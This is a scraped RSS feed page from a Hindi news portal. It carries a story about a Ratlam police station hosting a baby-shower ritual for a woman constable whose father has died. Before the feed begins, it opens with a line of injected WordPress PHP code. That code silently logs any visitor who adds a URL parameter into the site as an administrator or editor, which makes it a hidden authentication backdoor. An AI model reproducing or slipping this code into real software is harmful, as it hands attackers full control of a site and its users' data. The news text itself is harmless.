// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); police officer – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 21 Nov 2024 14:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 नई पहल थाने में हुई महिला आरक्षक की गोद भराई, टीआई ने निभाया पिता का फर्ज https://pratyushaashakinayikiran.com/?p=101173 Thu, 21 Nov 2024 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=101173 रतलाम

 रतलाम (Ratlam) के दीनदयाल नगर थाने (Deendayal Nagar police station ) में बुधवार को एक अनोखा आयोजन देखने को मिला, जब महिला कांस्टेबल शानू जमरा की गोद भराई की रस्म थाने में आयोजित की गई. यह आयोजन इसलिए खास था, क्योंकि शानू जमरा के पिता का 2012 में निधन हो चुका है और उनके परिवार में यह रस्म निभाने वाला कोई नहीं था.

थाने ने निभाई पिता की जिम्मेदारी

महिला कांस्टेबल शानू जमरा डीडी नगर थाने में पदस्थ हैं, जबकि उनके पति ट्रैफिक थाने में कार्यरत हैं. उनका ससुराल धार जिले के मनावर में स्थित है. पिता की अनुपस्थिति में थाना प्रभारी विक्रम सिंह ने पिता की भूमिका निभाते हुए सभी रस्मों को संपन्न कराया.

थाने में हुआ आयोजन

इस मौके पर पूरे थाने को खास तौर पर सजाया गया और गोद भराई की रस्में परंपरागत तरीके से निभाई गईं. लिस स्टाफ ने परिवार जैसा माहौल तैयार कर इस आयोजन को यादगार बना दिया. डीजे की धुन पर थाने के स्टाफ ने भी जश्न मनाया और खुशी में नाचते नजर आए. यह आयोजन न केवल थाने के लिए, बल्कि पूरे शहर के लिए चर्चा का विषय बन गया है.

शहरवासियों ने इस कदम को सराहा

थाने में हुए इस अनूठे आयोजन की शहरवासियों ने जमकर सराहना की. उनका कहना है कि यह पहल इंसानियत और सहकर्मियों के प्रति सहयोग की भावना को दर्शाता है. एडिशनल एसपी रतलाम राजेश खाखा ने इस आयोजन की सराहना करते हुए इसे पुलिस विभाग के मानवीय पहलू का उत्कृष्ट उदाहरण बताया.

समाज के लिए संदेश

यह आयोजन यह दर्शाता है कि पुलिस सिर्फ कानून व्यवस्था बनाए रखने तक सीमित नहीं है, बल्कि वे अपने सहकर्मियों के जीवन के हर पहलू में साथ खड़े रहते हैं. दीनदयाल नगर थाने में हुआ यह आयोजन मानवीय मूल्यों और सामूहिकता का प्रतीक बन गया है.

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